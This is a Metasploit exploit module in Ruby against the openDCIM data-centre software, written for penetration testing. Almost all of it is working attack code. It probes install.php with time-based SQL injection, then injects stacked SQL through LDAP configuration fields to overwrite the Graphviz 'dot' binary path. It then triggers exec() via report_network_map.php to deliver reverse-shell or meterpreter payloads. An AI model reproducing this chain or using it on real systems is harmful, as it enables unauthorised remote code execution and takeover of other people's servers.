## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'openDCIM install.php SQL Injection to RCE', 'Description' => %q{ This module exploits a SQL injection vulnerability in openDCIM's install.php endpoint (CVE-2026-28515) to achieve remote code execution. The install.php script remains accessible after installation and processes LDAP configuration parameters via UpdateParameter() without authentication or input sanitization, allowing stacked SQL queries. The exploit chain works by injecting SQL through the LDAP configuration form to overwrite the Graphviz dot binary path in fac_Config, then triggering report_network_map.php which calls exec() with the poisoned value. A backup of the original configuration is created before exploitation and restored after payload delivery. Tested against openDCIM 23.04 through 25.01 on Ubuntu with Apache. }, 'Author' => [ 'Valentin Lobstein ' # Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-28515'], ['CVE', '2026-28516'], ['CVE', '2026-28517'], ['URL', 'https://www.vulncheck.com/advisories/opendcim-missing-authorization-in-install-php'], ['URL', 'https://www.vulncheck.com/advisories/opendcim-sql-injection-in-config-updateparameter'], ['URL', 'https://www.vulncheck.com/advisories/opendcim-os-command-injection-via-dot-configuration-parameter'], ['URL', 'https://github.com/Chocapikk/opendcim-exploit'] ], 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Type' => :cmd # tested with cmd/unix/reverse_bash } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'CmdStagerFlavor' => ['printf', 'bourne'], 'Type' => :dropper # tested with linux/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2026-02-28', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path to openDCIM', '/']) ]) end LDAP_FIELDS = %w[ LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin LDAPContactAdmin LDAPSiteAdmin ].freeze DOT_PARAM = 'dot'.freeze SQLI_WRAP = ['" WHERE 1=0; ', ' -- '].freeze def check res = send_request_cgi({ 'method' => 'GET', 'uri' => install_uri }) return CheckCode::Unknown('Could not connect to the target.') unless res return CheckCode::Safe('install.php returned unexpected status code.') unless [200, 302].include?(res.code) body = res.body.to_s return CheckCode::Safe('install.php does not appear to be openDCIM.') if res.code == 200 && !body.include?('ldapaction') && !body.include?('openDCIM') && !body.include?('Upgrade') print_status('install.php is accessible, testing time-based SQL injection') 3.times do |i| sleep_time = rand(1..3) print_status("Test #{i + 1}/3: SLEEP(#{sleep_time})") _, elapsed_time = Rex::Stopwatch.elapsed_time do send_request_cgi({ 'method' => 'POST', 'uri' => install_uri, 'vars_post' => { 'ldapaction' => 'Set', LDAP_FIELDS.sample => "#{SQLI_WRAP[0]}SELECT SLEEP(#{sleep_time});#{SQLI_WRAP[1]}" } }) end print_status("Elapsed time: #{elapsed_time.round(1)} seconds.") return CheckCode::Safe("SQL injection test #{i + 1} did not trigger a delay.") unless elapsed_time >= sleep_time end CheckCode::Vulnerable('Successfully tested SQL injection (3/3 delay checks passed).') end def exploit @backup_table = Rex::Text.rand_text_alpha(8).downcase print_status('Performing LORI attack (LDAP Override Remote Injection)') fail_with(Failure::UnexpectedReply, 'Backup failed.') unless backup_config case target['Type'] when :cmd fail_with(Failure::UnexpectedReply, 'SQL injection failed.') unless poison_dot("#{payload.encoded} #") trigger_exec when :dropper execute_cmdstager end ensure cleanup_config end def execute_command(cmd, _opts = {}) fail_with(Failure::UnexpectedReply, 'SQL injection failed.') unless poison_dot("#{cmd} #") trigger_exec end def trigger_exec print_status('Triggering exec() via report_network_map.php') trigger_dot end def cleanup_config return unless @backup_table print_status('Restoring original configuration') restored = restore_config print_good('Configuration restored successfully.') if restored print_warning('Failed to restore configuration. Manual cleanup may be needed.') unless restored end def install_uri normalize_uri(target_uri.path, 'install.php') end def inject_sql(field, sql) form = { 'ldapaction' => 'Set' } LDAP_FIELDS.each { |f| form[f] = '' } form[field] = "#{SQLI_WRAP[0]}#{sql}#{SQLI_WRAP[1]}" res = send_request_cgi({ 'method' => 'POST', 'uri' => install_uri, 'vars_post' => form }) res && [200, 302].include?(res.code) end def backup_config inject_sql('LDAPServer', "DROP TABLE IF EXISTS #{@backup_table};" \ " CREATE TABLE #{@backup_table} AS SELECT Parameter, Value FROM fac_Config" \ " WHERE Parameter LIKE \"LDAP%%\" OR Parameter = \"#{DOT_PARAM}\";") end def poison_dot(dot_value) escaped = dot_value.gsub('\\') { '\\\\' } inject_sql('LDAPBaseDN', "UPDATE fac_Config SET Value = \"#{escaped}\" WHERE Parameter = \"#{DOT_PARAM}\";") end def restore_config inject_sql('LDAPSiteAdmin', "UPDATE fac_Config c INNER JOIN #{@backup_table} b ON c.Parameter = b.Parameter SET c.Value = b.Value;" \ " DROP TABLE IF EXISTS #{@backup_table};") end def trigger_dot res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'report_network_map.php'), 'vars_get' => { 'format' => '0', 'containerid' => '1' } }) res&.body&.strip end end